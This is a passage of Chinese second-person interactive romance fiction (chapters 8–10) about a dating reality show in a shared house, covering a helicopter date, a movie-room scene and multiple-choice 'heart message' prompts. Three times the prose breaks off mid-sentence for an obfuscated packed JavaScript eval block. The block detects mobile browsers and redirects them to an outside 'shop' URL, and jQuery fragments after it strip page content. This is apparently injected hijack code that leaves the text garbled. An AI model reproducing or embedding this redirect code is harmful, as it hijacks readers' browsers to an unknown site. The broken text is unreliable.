韩以泽的身体纹丝不动,既没有丝毫的慌乱,也看不到半分懈怠,他专注地凝视前方,控制着操纵杆,机身很快恢复平稳。
透过挡风玻璃,你看到他的影子,也听到自己心跳的鼓点。
当一个人在提心吊胆的时候,心跳会不自觉的加速,如果这时刚好碰到一位异性,会错当成心动的感觉。
这是你以前在书上看到过的一句话,你知道这种感觉不能当真。
高空之上,天空一望无际,大地亦没有尽头,你们从市中心的高楼大厦上飞过,看到了这座城市的最高建筑,也看到了独特的街景。
尽管平时可以用无人机拍到这些高空美景,但透过直升机的玻璃窗,一切尽收眼底,亲眼看到这美景所带来的视觉冲击更震撼。
每飞过一个地方,韩以泽都能流利地介绍出它的名字。
听着听着,你难免怀疑道:“你以前......带很多人来过?”
韩以泽斜挑了一下眉毛,突然笑了:“如果我说是,你是不是现在就要求我掉头返航?如果我说不是,你会信吗?”
还未等你回答,他继续说道:“还是你觉得,我闲到给那么多人当驾驶员?”
你沉默了,面对韩以泽,你总是格外机警。
第一次见面的紧张感大概成了惯性,让你先入为主。如果常以这样的状态面对他,不止对他,对你也不公平。
你想,或许可以试试不那么紧张。
8. 第八章
不多时,直升机开始缓缓下降,你从睡梦中睁开眼睛。
眼前是一片蓝得耀眼的海,飞过海岸线,直升机沿着波光粼粼的海浪俯冲,和海面的距离近到下一秒就会掉进水里。
这里是属于邻市的海域,他居然带着你跨越了一座城市来看海。
仅仅是因为你昨天嘀咕了一句也想去看海,你以为没人听到的。
有那么一瞬间,原本皱巴巴的心,被熨贴得平平整整。
远海处,鲸鱼浮出水面,你拿起手机拍下这一幕。
韩以泽明显也放松下来:“算惊喜吗?”
望着看不到尽头的海面,海面上有数不清的帆船,你愣愣地点点头。
他露出一个你从没有见过的笑容:“开心就好。”
你继续愣愣地点点头。
“知道为什么带你来这里吗?”
你摇摇头,摇到一半,想到什么,又点点头。
“你来小屋多久了?”
你掰着指头数了数:“加今天七天。”
韩以泽说:“你来小屋之后,有什么感觉吗?”
“我觉得很好。”
他又问:“你知道昨天我进小屋之后的感觉吗?”
“什么感觉?”
“小屋里的一切都很有趣。”说到这里,韩以泽停住。
你等着他继续说,他却没了动静。
哐的一声,直升机降落在一个小岛。
韩以泽随手解开安全带:“但你知道吗,当我进了小屋之后,你就没看过我一眼。”
而后他偏头看向你:“这也是今天想带你来这里的原因。”
可你们才见过一面,你被这番直白的话撞得头晕目眩,仓促推开舱门。
小岛出奇的静,海浪自由地拍打着金黄的沙滩,周围种满了热带小树和叫不出名的绿植,偶尔飞过来几只海鸥低旋,呜哑呜哑地叫着。
这里没有小屋,没有那么多摄影机围绕,没有一言一行都被人关注的拘束。
你突然有种逃离节目组的刺激感。
“饿了吗?”身后传来韩以泽的声音。
“好像是有点。”
上午从超市出来前吃了一块面包,还是韩以泽想让你帮忙尝尝味道,你才吃的。
“走吧。”韩以泽转身示意你跟上。
“又去哪儿?”他说保密就保密,现在到了这座小岛,你更是一无所知。
你跟着他,穿过沙滩,绕着小岛走了几百米,离海水的声音越来越远。
你觉得很奇怪,这座小岛说是未开发,但树林深处藏了许多红色小房子,说已经开发,可走了这么久,几乎没见到其他人。
不久,你们来到一片蓬勃生长的绿林里。
这里隐秘着一座餐厅,红色的房顶,白色的墙。
至于为什么说“一座”,是因为它真的很大,足足有三层,甚至有几棵庞大的树木从窗户里长了出来,像童话故事里藏着公主的树房子。
韩以泽推开门的时候,有沙沙的海风穿堂而过,头顶碰撞的风铃牵出一阵叮叮当当的响声。
刚进门,服务员像等待已久,立马引你们入座,并递来一份菜单。
你接过,点了几道想吃的菜,又递给韩以泽,本想让他看看有没有需要补充的。
结果韩以泽接过之后,看都没看,直接给了服务员。
等上菜的过程就是在开盲盒。
“现在可以揭晓了吧,这是哪里?”你光知道邻市有一片海,却不知道有这么一座岛。
韩以泽扭头看了眼窗外,你跟着他的目光看了过去。
岛上空无一人,海鸥的叫声透过玻璃传了进来,接着听他说:“这里刚结束开发,下周才对外开放。”
“那你怎么进来的?”你抬头环视一圈,这里应该不是想来就能来的地方。
韩以泽:“最近负责的一款游戏和这个小岛合作,所以有时候我来这里找找灵感。”
这一圈下来,你都快忘了他的真实身份是游戏策划师。
“所以你今天找到灵感了吗?”
韩以泽煞有其事地看着你:“今天不找灵感。”
“啊?”
“灵感什么时候找都可以,但今天不找。”
你奇怪道:“那你来这干嘛?”
“约会啊。”韩以泽回答得合情合理。
“……”
不多时,菜上齐了。
你以为按他的腔调,会带你去吃西餐,但揭开盖子后,属于中国料理的味道,钻进鼻腔。
不急着动筷,你有太多太多的问题想问他。
“你什么时候学的开直升机?”
韩以泽:“也是因为游戏开发,需要有飞行体验,比起隔着屏幕看AR全景,不如亲自感受一次,所以就去考了飞行员证书。”
你话题一转:“为什么约我?”
韩以泽挑了挑眉:“你觉得我不应该约你吗?”
你被他这样避而不答的态度惹急了:“我是认真的。”
听到你有些正式的语气,韩以泽摆正脸色,眼睛一瞬不瞬地盯着你:“想让你以后看到这座小岛的时候,就会想起我。”
“……”
你:“能问问你的理想型吗?”
至少今天之前,你从未将韩以泽这样的类型纳入自己的理想型之内。
韩以泽若有所思:“比起给理想型限定一个条条框框,我更喜欢一个具体的多面的人。”
这是韩以泽来小屋的第二天,或许你们彼此之间还有很多很多需要了解的东西,一顿饭一次约会,不足以窥见一个人的全貌。
但你知道,这个人,的确是小屋的意外。
吃过饭后,你们把整座岛逛了一圈。
这里几乎是一个乌托邦式的小镇,所有的设施都有,你们去了水族馆,看美人鱼表演、和海豹游玩,最后踏着傍晚的余晖赶海。
风是自由的,树是自由的,漫步在绵绵的沙滩上,你的快乐也是自由的。
在月亮升起的前一秒,你们乘机返回小屋。
和白日的风景不同,夜景五光十色,望着眼底蜿蜒的璀璨银河,你突然觉得今天的一切好不真实。
而这一切,只是从一场简简单单的散步开始的。
他没有事先约你,但在不知不觉间,你跟着他完成了一场既定的约会。
这个念头一起,你突然有种说不上来的感觉。
他好像能不动声色地让人放下心防,事后回味过来,还让人觉得不被冒犯。
这个人,实在危险。
机舱里,你半个身子靠在后背上,酝酿了一会儿,你转头问韩以泽:“如果我有事出去了呢,今天的约会岂不是打水漂?”
夜间起了小雾,韩以泽眼睛盯着前方,开得很小心,听到你的话,他微微侧目:“我今天起得很早,就是在等你。”
你侧着身子,继续好奇道:“如果我没答应出去呢?你又打算怎么办?”
他也扭过来正视你,声音透彻:“新人有一次秘密约会的机会,且被邀请者不可以拒绝。”
“……”感觉自己又被算计了。
等你们回到小屋的时候,月亮已经挂上树梢,房间灯光明亮,人影绰绰。
韩以泽推开门。
唐甜第一个迎上来,看到你们一起回来,她调侃道:“以为周越和赵念念回来得够晚了,没想到你们更晚。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374810|199977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
你的笑容僵在脸上。
灵光一闪,你想起今早赵念念在厨房做早餐便当,再想到韩以泽说过新嘉宾都有一次约会机会。
一切戏剧般地串了起来。
你站在玄关,不由自主地朝里面看去。
隔着人群,周越和你四目相对,又不约而同地移开双眼。
……
就算小屋形势又变得复杂起来,但抛开所有的顾虑,你不得不承认,今天非常开心。
韩以泽问其他人吃饭没有。
大家的回答都是摇头,韩以泽说刚好他做一道甜品给你们尝尝。
韩以泽系上围裙,从冰箱里拿出一份冰淇淋,又将吐司送进烤箱,烘烤完毕后,他将微微化开的冰激凌,浇在拼好的土司边上。
你们一人拿一个叉子品尝。
冰淇淋入口即化,土司边焦焦脆脆,刚好中和了冰淇淋的甜腻。
早上以为他把土司边扔掉了,你还在心里默默吐槽他浪费粮食,晚上他居然就将食材妥善地处理成一道甜品。
你突然觉得自己对他的误会有点深。
……
夜色渐深,你们陆续回卧室休息。
你在书房处理了一会儿工作,出去的时候,看到赵念念和何君子在走廊里说悄悄话。
你刚想掉头避开,但眼尖的何君子已经瞧见你。
你尴尬地转后身去,打了声招呼。
赵念念也热络地同你问好,除了有些被撞破的不自然。
过了一秒,她想到什么,笑着问你今天去了哪里。
你如实说去了海边,又问她去了哪里。
赵念念嘿嘿一笑,说道:“不瞒你说,和周越去我们学校逛了一圈。”
你点点头,准备回房间睡觉,结果赵念念突然喊住你。
你回头看向她。
赵念念做了个炒菜的动作,说:“谢谢你早上教我做的早餐,很好吃。”
“啊,是吗?不用谢。”你干笑了两声,在她们的注视下,回到了自己的房间。
合上门的那一瞬间,你揉了揉自己发涩的眼睛。
同住的唐甜正躺床上敷面膜,见你回了房间,她说刚才周越来敲门,好像是来找你的,但你刚才不在,他就走了。
你脚步一滞,继续向前走了几步,而后犹豫几秒,你转身向门外走去,却被门外一幕怔得停住步伐。
门口,走廊另一边,周越刚和赵念念说完话,关上了自己的房门。
赵念念心情很好地哼着歌,向你走来。
从你面前经过的时候,你发现她的手里多了一台拍立得,但和她原本的那台颜色不一样。
赵念念把拍立得抱在怀里,见你盯着她,她解释说是周越送给她的。
她说她记得你也喜欢拍立得,问你要不要拍照,她可以借给你。
你摆摆手,说不用了,随后仓促关上房门。
周越是自由的,在遵守条件的前提下,他可以和你约会,当然也可以和别人约会。
在这个小屋,或许什么都不期待就没有失望,你这样想着。
......
手机的震动振麻了你的手心,今天,你打算将心动短信发给谁?
A周越
B潭西洲
C霍远
D韩以泽
片刻后,你收到一条短信。
【你站在桥上看风景,看风景的人在桥上看你。】
【你觉得这条短信来自哪位男嘉宾?】
A周越
B潭西洲
C霍远
D韩以泽
PD消息:明天有小屋的新场景开启哦,请各位嘉宾敬请期待。
9. 第九章
今天早上,唐甜在餐厅等你,说想约你一起出门上班。
正吃早餐的时候,周越从楼上下来,后面跟着赵念念。
一直走到客厅,赵念念才憋着红脸问道:“周越学长,今天可以顺路送我去一趟学校吗?昨天送你的礼物落在学校奶茶店了。”
周越微微退开一步,说自己今天要去分院做手术,不太顺路。
听完这话,原本笑着的赵念念耷拉着眉眼,失望地哦了一声,但她很快振作起来,叮嘱他路上小心。
周越淡淡地回了句嗯,走到门口,似乎察觉到你的目光,他的背影稍稍一顿,但未停留,拧开把手,便推门离开了。
看到赵念念垂头丧气地回到厨房,唐甜心血来潮,问她为什么叫周越学长。
赵念念说:“昨天秘密约会的时候,才知道周越也是从我们学校毕业的。”
你握筷子的手一顿,脑子里不可控制地闪现出很多他们在一起的画面,像潮水一样涌了出来。
唐甜啧了两声:“真看不出来啊,周越毕业这么多年,还爱听别人喊他学长。”
听到这,你抬头望向赵念念。
赵念念想了下,咬着嘴唇看了你们一眼:“他说随我。”
你和唐甜无声对视一眼。
你和唐甜吃过早餐后,一同出门上班。
没有节目组的摄像机跟着,你们便随意了几分。
刚离开小屋的摄像机范围,唐甜便忍不住无语的表情:“周越愿不愿意另说,我看她喊学长喊得挺来劲。”
你有点震惊,一方面因为她的口无遮拦,另一方面是因为昨晚赵念念手里的相机。
你心中不免多虑:“说不定是两情相悦呢。”
“怎么可能,你看周越躲得跟什么似的。”唐甜一脸旁观者清的表情,“不过啊,小屋里的男生还真是各有千秋。”
你好奇:“怎么说?”
“嗯......打个比方,如果节目组让男嘉宾做早餐。潭西洲呢,他会做很多种类的早餐,摆满一桌,然后问自己喜欢的女生想吃哪一种。”
唐甜掰着指头数道:“如果是周越,他做的早餐里,只有自己喜欢的女生的早餐不一样。”
“至于韩以泽,”说到这位,唐甜顿了顿,猜测道,“我不了解他,但我觉得他厨艺可能只展现给喜欢的女生。”
唐甜一语中的,是他们每个人能干出来的事。
接着唐甜神秘兮兮地看了看周围,压低声音道:“昨天,你和韩以泽不在,小屋里发生了很多事!”
“怎么了?”
“你想听谁?”唐甜一点不绕弯子。
【你选择先听谁】
A潭西洲
B周越
C霍远
A唐甜说,昨天看见潭西洲和何君子在院子里散步,可能是在谈心,回到小屋之后,两个人气氛还挺凝重的。
B昨天周越和赵念念挺早回来的。回来后,周越看见只有你和韩以泽不在,脸色一下子就淡了。然后到了晚上,大家都在猜你们约会几点回来,一边猜一边偷瞄周越的神情,可好玩了。
C说起霍远时,唐甜沉默了片刻,然后说,不知道是不是她想多了,感觉霍远最近好像有些变了,但她也不知道怎么办,所以今天想和你聊聊天。
听完唐甜讲完这些,你发现以上帝视角去看,小屋会发生很多与你有关但你不知道的故事。
......
晚上你照常回到小屋。
依旧是早早下班的大厨潭西洲和何君子在做饭。
看到你回来,潭西洲抬头,说今天晚上做了你最爱吃的菜。
不知道为什么,听到这句话的你,有种鼻子一酸的感动,好像他已经等了你很久。
厨房只有他们两个,你问其他人呢。
何君子说:“周越刚才在客厅,韩以泽没见着,赵念念还没回来,唐甜和霍远出去散步了。”
你探头看向客厅,那里空空如也。
你上楼放好东西,穿过走廊活动区的时候,发现韩以泽在二楼书房,面前的桌子上摆了台笔记本电脑,应该在工作。
此时他侧对着门在打电话,手指在键盘上飞舞,屏幕上是一串看不懂的数字和符号。
他眉眼低垂,认真而专注,未曾察觉到你。
你识趣地离开二楼,没有打扰他。
来到一楼,你打算去影音室看会儿电影。
影音室放了首音乐,旋律舒缓,你推门而进,沙发上有道熟悉的侧影,定睛一看。
原来是周越。
他靠在沙发上,单手支头,闭着眼睛,不知道是在听歌,还是休息。
你抿了抿唇,把脚伸回来,刚准备离开。
似乎察觉到有声响,周越睁开眼,看见你站在门外,有些意外。
你杵在门口,进不是,退也不是,只能扯出一抹尴尬的笑,解释道:“我来这逛逛,看到你在睡觉,没好意思叫醒你。”
周越抬手揉了揉眉心,说最近手术多,刚才在听歌,不知不觉就睡着了。
说完,他起身挪了位置让给你:“刚才看到一首歌,突然很想和你分享,然后你就来了。”
说着,他在旁边的木架上挑了一盘磁带递给你。
你接过,歌名印在透明包装硬壳的右上角,是王菲的《红豆》,你听过很多次。
音乐响起的时候,你们靠在柔软的沙发里,静静听着歌。
你们对昨天彼此的秘密约会都心知肚明,感觉应该说些什么,但你们什么都没有说。
有些话,一旦错过了时机,就再也说不出口了。
你坐在周越身边,隐隐闻到他身上传来的消毒水味,那是一种干净到令人安心的味道。
周越看过来的时候,你们相视一笑,那些说不清事情仿佛都融化在这个笑里面。
“昨天,你们去哪里玩了?”你明明知道答案,但还是想听听他的回答,于是头脑一热,话就从嘴边溜了出来。
周越扭头看了你一眼,目光又游移开:“回母校逛了逛。”
“所以你和赵念念,”你停顿一下,“真的是校友?”
“你怎么知道?”周越对你知道这件事很意外,随后迅速反应过来,“她说的吗?”
你回了个不然呢的眼神,问道:“有重回学生时代的感觉吗?”
周越的目光飘远,像在回忆。
在歌曲的尾声中,他的声音不大不小,刚好盖住:“很久没回母校了,看到熟悉的景色会怀念上学的日子,但内心知道这些只是触景生情。”
你长长地哦了声。
“你呢?”周越问回来,“你昨天去了哪里?回来的好晚。”
对于这件事,你如实告知,只是略去了各种细节。
听完你的回答,周越回了句:“那还蛮有趣的”,就靠回沙发,闭上眼静静听下一首歌了。
你一时间摸不清他的情绪,只好和他一样,靠在沙发上听歌。
耳边的音乐飞到很远。
你开始陷入思考,你和周越彼此间的这番坦白,表面上像一块橡皮,把所有发生过的事情一并擦除了,但痕迹好像依旧留在那里。
正当你以为这段谈话就要这样结束时,冷不丁,周越继续问道:“所以,玩得开心吗?”
不知是该回答好还是不好,你说还行吧,然后学着他靠回沙发,闭上眼睛,看起来一副要安静听歌的模样,以防他又问出些什么。
静了一会儿,看出你的紧张,周越的声音里略微含着笑意:“你想喝水吗?”
你摸了摸发痒的嗓子,点点头。
“喝什么水?冰的?温的?还是热的?”
现在可是夏天诶,你的态度非常坚定:“当然是冰水了!”
周越一副意料之中的样子,二话没说起身就走。
你叫住他:“我以为你会说喝冰水对身体不好。”
医生不总是喜欢对一些生活习惯提出专业性建议么。
周越听懂了你的另一层意思,他的声音和音乐一样轻缓,还带着几分坦率:“身体没有不舒服的前提下,想喝什么就喝什么。”
门口突然传来另一道声音,颇为清丽:“喝什么啊,有什么好喝的吗?”
你微微一愣,和周越同时看向门口。
赵念念今天身穿姜黄色背带裤,此刻扒在门框边上,探了颗头,眼睛只看着你旁边的人:“周越学长,我刚上完晚课,正好把你落的东西带回来了,你方便下楼取一趟吗?”
刚站起身的周越停在原地,屋内顶灯柔和,他的睫毛掩住眼睛。
从侧面看过去,你发现他有些严肃。
“你不是正好要去倒水吗?”你提醒他。
周越撩起眼皮,看你一眼,说:“我去去就回。”
他们离开后,你接着听了会儿歌,听完没什么想听的,就换了盘电影的光碟打发时间。
过了一会,沙发凹陷下去,你以为周越回来了,把光盘的塑料盒递给他看:“这部电影好看,要一起看吗?”
旁边的人接了过去,但没应声,你奇怪地看向他。
“怎么是你?”你立马起身。
韩以泽背倚沙发,一只手夹着光盘转,好整以暇地看着你:“怎么,很失望?”
“那倒没有,”你解释道,“刚才看到你在书房,以为你正忙工作。”
“是啊,本来想在公司加班,但最近不知怎么,一下班就想回小屋,只好把工作也带回来了。”说完,他摊开手,耸耸肩,很随意地坐在了刚才周越的位置上。
你坐回沙发,眼睛也回到屏幕上,猛地发觉电影已经演到下个情节。
你欸了声,忙拿起遥控器往后退了一段,津津有味地继续看起来。
韩以泽很识相地没有打扰你,安安静静地坐在旁边,但他不看屏幕,也不看你,而是在打量这间影音室,从这堵墙到那堵墙。
不知道过了多久,你察觉到头顶上多了一层阴影,视线从屏幕上拉回。
余光瞥见韩以泽站起来,他绕过沙发,看样子准备出去。
不知怎么,你下意识叫住他:“怎么不看了?”
韩以泽停下脚步,侧过身,低头看着你道:“我看过。”
你拿起遥控器,按了暂停键,也站起来:“这么好看的电影,不值得多看几次吗?”
“我从不二刷电影。”韩以泽的目光从你的脸移到电视上。
电影的画面暂停在冰岛广袤的绿野上,接着他尾音一转,“不过,既然你邀请我了,也不是不可以。”
说着,他心安理得地坐回沙发,捞起小茶几上的遥控器,点了继续播放,煞有介事地支着下巴看了起来。
他就是故意的!那一瞬间,你真的很想抓起抱枕揍他一顿,这么想着,也这么做了。
韩以泽似乎早已预判到,他抬手截住从天而降的抱枕,眼睛却还盯着电视。
你的动作被迫停在半空,但心里不太服气,牢牢地拽着抱枕往回抢,结果没抢过,还被他毫不费力地一把抽走。
力量的悬殊让你差点扑倒他,还好膝盖半跪在沙发上,稳住了身体。
咔嚓,门外传来闪光灯的特效声。
赵念念从拍立得的镜头后探出来,冲你们调皮地吐吐舌头,然后甩了甩冲洗出来的照片,举到周越面前,夸赞道:“他们的背影好般配啊。”
周越垂眼扫了眼刚拍的照片,嘴角微沉。
你的笑容僵住,低头看了看自己和韩以泽的姿势,几乎可以用暧昧来形容。
你懊恼地坐直身体,往旁边挪了挪,不知道他们听到多少,又看到多少。
韩以泽注意到你的动作,转头看了看门口的两人,没说什么,重新看回电
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17379322|199977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
影。
周越拂开照片,目光在你和韩以泽之间逗留一瞬,接着看向屏幕:“白日梦想家?”
你点头默认。
他的面容淡漠,你知道他不是冲你,但还是往旁边又挪了挪,现在你已经从沙发中央移到了最左侧的位置。
韩以泽敏锐地发现了你的小动作。
这一次,他直接用行动代替了语言,大剌剌地朝你的方向挪了一寸,挨着你旁边坐下,不给你任何逃跑的机会。
随后周越走进影音室,问道:“我没看过,介不介意一起看?”
“没看过怎么知道名字?”韩以泽将抱枕塞到你的后背,给周越留出离你最远的最右侧的位置。
周越看了韩以泽一眼,越过他,把加了冰块的水递给你:“听过。”
另一侧,赵念念也进了影音室。
但沙发上已经没有多余的空位,她不得已只能坐在单人沙发上,对上你们看过来的眼神,她低举手,弱弱地问你们能不能算她一个。
你笑笑说好,反正这么热闹了,多一个也无所谓。
还好电影不长,刚才已经演到快结尾的地方,现在你已经无心看下去。
片尾曲一响,你立马站起来,推开门,对着新鲜的空气,轻轻呼了口气。
刚好潭西洲来催你们下楼吃饭,看见一帮人从影音室里出来,他略有几分惊奇。
毕竟影音室一直闲置着。
……
餐厅,何君子将最后一道菜摆上餐桌。
你们围着餐桌,谁都没落座,像第一天刚来时那样。
韩以泽撑着椅子,头偏过来,随意问道:“你坐哪?”
话刚落地,所有人表面上不动声色,实际都偷偷瞄了你们俩一眼。
算了,吃饭重要,你随便挑了座坐下。
韩以泽不假思索地坐在你左边的位置。
周越看了一眼韩以泽,在你的另一侧坐下。
见周越落座,赵念念几乎是闪电般地坐在了他的对面。
餐桌是长方形的八人桌。于是现在变成了这样:
周越你韩以泽空
赵念念空空空
空气很微妙,霍远接了杯水,放在赵念念桌上,顺势在她右边坐了下来。
唐甜的脸色本来就不太好看,她看了一眼霍远,霍远旁边还有个空位置,但后者并没有看她。
有一瞬间,你几乎以为唐甜眼眶已经红了的时候,她却笑着坐在了韩以泽旁边,离霍远最远的位置。
还有两个空位,潭西洲坐在了你的斜对面。
等何君子从厨房出来的时候,只剩下一个座位。她摘了围裙,边往这边走,边开了句玩笑:“今天这么整齐啊,就等我了。”
众人笑。
饭桌上,潭西洲问你们刚才在影音室在看什么电影。
你告诉他名字。
然后赵念念想到什么,拿出她的拍立得:“我们在影音室拍了很多照片呢。”
说着,她把照片递给他。
潭西洲一张张翻看,在看到你和韩以泽那张姿势暧昧的合照时,明显顿了一下。
偏偏赵念念特别喜欢这张照片:“这氛围感绝了,特别像电影画面,你说是吧。”
潭西洲没搭腔,继续翻看别的合照。
赵念念看他态度不咸不淡,收回那张照片,转头看到了你:“知意姐,你要留下做纪念吗?”
你没说话。
“给我吧。”韩以泽接过照片,垂眸盯着看了一会儿,别进了上衣口袋里。
赵念念心满意足地收回手,拿起拍立得给正在吃饭的你们又拍了一张。
“你拍立得在哪里买的呀?拍照很好看诶。”唐甜凑过去夸道。
“哦,这个呀,”赵念念把玩着手里的拍立得,回道,“嘿嘿,是周越学长送的。”
你心里一跳,低头维持着吃饭的姿势。
其余人的目光也都投向周越,眼神意外而复杂。
餐桌上安静得不像话,在众人的围观下,周越慢条斯理地放下筷子,说:“我没拿稳,所以赔了赵念念一个。”
众人了然,这就说得通了。
但是什么时候没拿稳呢?你的脑海里突然冒出来这个想法,是上次赵念念约周越出去那次吗?
韩以泽像是感知到了你的情绪,他放下筷子,低声道:“那天听到你说也喜欢,我送你一个,你会收下吗?”
你回过神,感激地冲他笑了一下,但并没有领情,轻声回道:“你知道女生为什么都不喜欢撞衫吗?”
“为什么?”
“因为再喜欢,也不希望自己的东西和别人是一样的。”
韩以泽看了你一眼,没讲话。
大概时间太晚,晚饭结束后,你们稍微活动了会儿,便回卧室休息了。
很快到了发短信的时候,你打算将心动短信发给谁?
A周越
B潭西洲
C霍远
D韩以泽
片刻后,你收到三条短信。
【总以为自己已经很了解你,可有时想想,其实并没有。】
【你觉得这条短信来自哪位男嘉宾?】
A周越
B潭西洲
C霍远
D韩以泽
【晚餐后的甜点就点你喜欢的吧。】
【你觉得这条短信来自哪位男嘉宾?】
A周越
B潭西洲
C霍远
D韩以泽
【有些电影看一次就足够,有些电影,看多少次都不够。】
【你觉得这条短信来自哪位男嘉宾?】
A周越
B潭西洲
C霍远
D韩以泽
PD消息:迄今为止,你的心意是否有变化,欢迎各位嘉宾留言~
10. 第十章
第二天清早,你照常去上班,刚出卧室门,听到楼下有人在讲话。
赵念念背着双肩包,站在周越面前,抬头问他昨天的手术结束了吗,今天可不可以顺路送她去学校。
周越昨天已经拒绝过一次,没办法再拒绝一次,迫不得已只能答应,但提出要求:“我脱离校园已经很久了,以后就不用叫我学长了。"
赵念念很意外,她皱着脸踌躇半晌,不太情愿地点点头。
你站在楼梯口,他们的对话清清楚楚地传到你耳边。
不远处的周越似乎察觉到这边的影子,在他看过来之前,你落荒而逃。
你躲在角落,突然觉得自己真是莫名其妙,自己到底在怕什么。
明明都是女生,为什么赵念念可以大大方方地约人,如果刚才站在那的人是赵念念,她一定会过去打声招呼的。
你整理了下心情,等再回去的时候,两个人已经出门了。
你紧接着下了楼。
厨房里,韩以泽坐在吧台边,一手搭着台面,另一只手捏着杯耳,正悠闲悠闲地喝咖啡。
韩以泽目送两个人出了门,自然也看见了刚才的事。
他慢条斯理地放下瓷杯,再次抬头时,发现你站在转角处。
他问道:“怎么了?”
你摇摇头说没什么,走进厨房。
韩以泽没有追问,接着他身形一晃,为你送来一盘早餐。
是一碗热腾腾的清汤面,旁边卧了颗金灿灿的煎蛋。
他将筷子和勺子仔细摆在碗上。
你道谢,先喝了口汤,又夹了一筷子面,低头尝了尝。
韩以泽坐在对面看着你,坐得笔直,好像在等你的反应。
在他的注视下,你埋头吃了几口之后,终于抬起头,道:“嗯......好吃是好吃,但……是不是没放盐啊?”
韩以泽看着你的碗,回想了几秒:“放了,但不多,你觉得味道淡?"
你把碗推给他,让他自己尝。
韩以泽接过,换了双筷子,咬了一口,腮帮子一上一下,仔细咀嚼着。
过了几秒,他说是有点,说着起身打算再去加点盐。
你立即拉住他:“不用了。”
脑海中有什么一闪而过,你不怀好意地笑道:“诶,你是不是平时没怎么做过饭?”
韩以泽清咳一声,有些不自然地偏过头:“上次做了道甜品,你还说不错,这次只是意外。”
你唔了声,很给面子地把一碗面都吃光了,温热的汤面,吃得人心里也暖乎乎的:“我还以为你是十指不沾阳春水的大少爷。”
“看来你对我的印象还有待改观。”韩以泽笑了笑,难得没有逗你,反而一本正经问道:“刚才你是不是不开心?”
你的视线落回他的脸上:“没有啊,我挺好的。”
韩以泽没有追问,反而劝慰道:“你总要给别人一些接触其他人的机会。”
你撇撇嘴:“那你怎么不接触别人。”
韩以泽支着下巴看着你,说:“我这不是正在接触。”
……
你避开他的直视,问:“那你为什么说我不开心。”
韩以泽回道:“想去关心一个人的时候,自然什么都能观察到。”
你愣了一下,本以为他是一个我行我素的人,没想过他的观察如此入微。
“你吃了吗?”整个早晨,你没见过韩以泽进食,那碗面全被你吃光了。
“我喝这个就够了。”韩以泽指了指自己旁边的咖啡。
你难以置信地看着他:“你不饿?”
“习惯了。”韩以泽对上你的目光。
你点点头,漫不经心地哦了一声,还是忍不住去想刚才在楼上听到的对话,一个人能抵挡得住一团火的热情吗。
想着想着,不知道过了多久,你恍然回过神,发现韩以泽的目光一直从没你的脸上挪开。
你狐疑地摸了摸自己的脸蛋,问他自己脸上是不是沾了什么东西。
看你回神,韩以泽才慢悠悠地收回视线。
“你为什么总盯着我看?”你问道。
从第一次见面就是,在这样直白的眼睛里,你总能感受到毫不掩饰的压迫感。
韩以泽喝完最后一口咖啡,他放下杯子,漫不经意地说着最认真的话:“就想看看,你什么时候才能发现我在看你。”
听了这话,你不免有些动容,也为刚才走神的懊恼,他一定是看出来了。
出于弥补,你关心道:“只喝咖啡是因为你工作太忙了吗?”
小屋里有一台精致的咖啡机,你们刚来小屋的时候曾围观过它几次,但你们谁都没有喝咖啡的习惯,于是它摆着落灰了好久,从来没有人用过。
自从韩以泽来到小屋,你们有幸喝过几次他做的手冲咖啡。
虽然你不懂咖啡,但是能看得出来韩以泽应该是咖啡的重度爱好者。
韩以泽收回目光,侧着脸笑了:“对啊,所以什么时候赏个脸,让我也尝尝你的手艺。”
你仔细一思索,他好像确实没有尝过你做的菜,一是最近总有七七八八的事忙,二是你其实没那么擅长烹饪。
“行啊,”你还是答应了,“但做得不好吃你别嫌弃。”
“至少会比我强一些吧。”韩以泽也幽默了一把,然后他拿起车钥匙,说要送你上班。
你一边往门口走,一边不禁点点头:“嗯,我应该会记得放盐。”
听你内涵完,韩以泽一愣,心情很好般地笑了,你也跟着笑。
今早
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17383574|199977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的一切不快乐都不翼而飞,连上班路上最堵的一条路也走得异常顺畅。
你突然发现,有时候人的情绪波动都是因为想得太多,所以陷得越深。
不知道是不是因为这个,今天公司里有很多人夸你气色很好,你的心情好了一整天。
……
晚上下班,还没走到小屋门口,你就已经闻到了饭香味,这种感觉像回家一样。
你哼着歌打开门,看到小屋内亮起的灯,幸福感飙升到顶点。
你往里走,厨房里的香味最浓。
你撂下包,撸起袖子准备帮忙。
厨房里,潭西洲在炖汤,白色衬衫外套着他的专属围裙。
你不禁揶揄道:“潭大律师,刚打完官司就来做饭啊?”
